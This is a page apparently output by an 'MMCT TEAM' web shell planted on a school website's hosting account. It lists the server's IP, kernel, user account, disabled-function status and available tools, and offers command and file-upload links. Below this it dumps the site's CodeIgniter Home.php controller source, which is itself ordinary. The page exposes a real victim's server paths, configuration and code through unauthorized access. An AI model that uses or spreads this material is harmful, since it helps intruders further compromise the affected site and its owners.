MMCT TEAM
Server IP : 192.185.129.71  /  Your IP : 52.15.60.240
Web Server : Apache
System : Linux bh-ht-3.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : svymadmin ( 4072)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home4/svymadmin/public_html/vivekaexcel.edu.in/application/controllers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home4/svymadmin/public_html/vivekaexcel.edu.in/application/controllers/Home.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Home extends CI_Controller {

    function __construct() {
        parent::__construct();
        
        $this->load->library('encryption');
        
    }
    public function popUp($heading,$text,$type){
        $user = array(
          'heading' =>$heading,
          'text' =>$text,
          'type' =>$type,
          'isPop'=>TRUE
         );
        $this->session->set_userdata($user);

    }

//===============================Home====================================//        
    public function index()
    {
      $pageData["news_single"] = $this->db->query("SELECT * FROM `news` ORDER BY `id` DESC LIMIT 1")->result_array();
      $pageData["news_three"] = $this->db->query("SELECT * FROM `news` ORDER BY `id` DESC LIMIT 1,3")->result_array();
      $pageData["events"] = $this->db->query("SELECT * FROM `events` ORDER BY `id` DESC LIMIT 3")->result_array();
      $pageData["flashNews"] = $this->db->query("SELECT * FROM `flashNews` ORDER BY `id` DESC LIMIT 5")->result_array();
      $pageData["quickLinks"] = $this->db->query("SELECT * FROM `quickLinks` ORDER BY `id` DESC LIMIT 6")->result_array();
      $this->load->view('home',$pageData);
    }

//===============================news_blog====================================// 
    public function news_blog($param1="")
    {
      $pageData["news_blog"] = $this->db->get_where("news",array("id"=>$param1))->result_array();
      $this->load->view('news_blog',$pageData);
    }
    

//===============================blog_news====================================// 

    public function blog_news()
    {
      $pageData["blog_news"] = $this->db->get("news")->result_array();
      $this->load->view('blog_news',$pageData);
    }
    

//===============================Events====================================// 

    public function events()
    {
      $pageData["events"] = $this->db->query("SELECT * FROM `events` ORDER BY `id` DESC")->result_array();
      $this->load->view('events',$pageData);
    }
    

//=============================About Us====================================//

  public function about_us()
    {
        $this->load->view('about_us');
    }
    
//=========================Campus Tour==========================//

    public function campus_tour()
    {
      $this->load->view('campus_tour');
    }

//=========================Campus Tour==========================//

    public function academics()
    {
      $this->load->view('academics');
    }



//=========================Campus Tour==========================//

    public function beyond_class_room()
    {
      $this->load->view('beyond_class_room');
    }

//=========================Gallery==========================//

    public function facilities()
    {
      $this->load->view('facilities');
    }


//=========================Gallery==========================//

    public function faculties()
    {
      $this->load->view('faculties');
    }

 
 //=========================Apply to Vsoe==========================//

    public function admission()
    {
      $this->load->view('admission');
    }  

 //=========================Scholarship==========================//

    public function scholarship()
    {
      $this->load->view('scholarship');
    }
 //=========================Alumni==========================//

    public function alumni()
    {
      $this->load->view('alumni');
    }
//=========================Gallery==========================//

    public function blog()
    {
      $this->load->view('blog');
    }

//=========================Gallery==========================//

    public function blog_single()
    {
      $this->load->view('blog_single');
    }

//=========================Gallery==========================//

    public function gallery()
    {
      $this->load->view('gallery');
    }

//=========================Campus Tour==========================//

    public function contact_us()
    {
      $this->load->view('contact_us');
    }
    
//=========================Sainik School==========================//

    public function sainik_school()
    {
      $this->load->view('sainik_school');
    }   
    
//=========================Mandatory==========================//

    public function mandatory()
    {
      $this->load->view('mandatory_disclosure');
    }       
//=========================VSOE_Sainik School==========================//

    public function vsoe_sainikschool()
    {
      $this->load->view('vsoe_sainikschool');
    }   
    
    
    
}

MMCT - 2023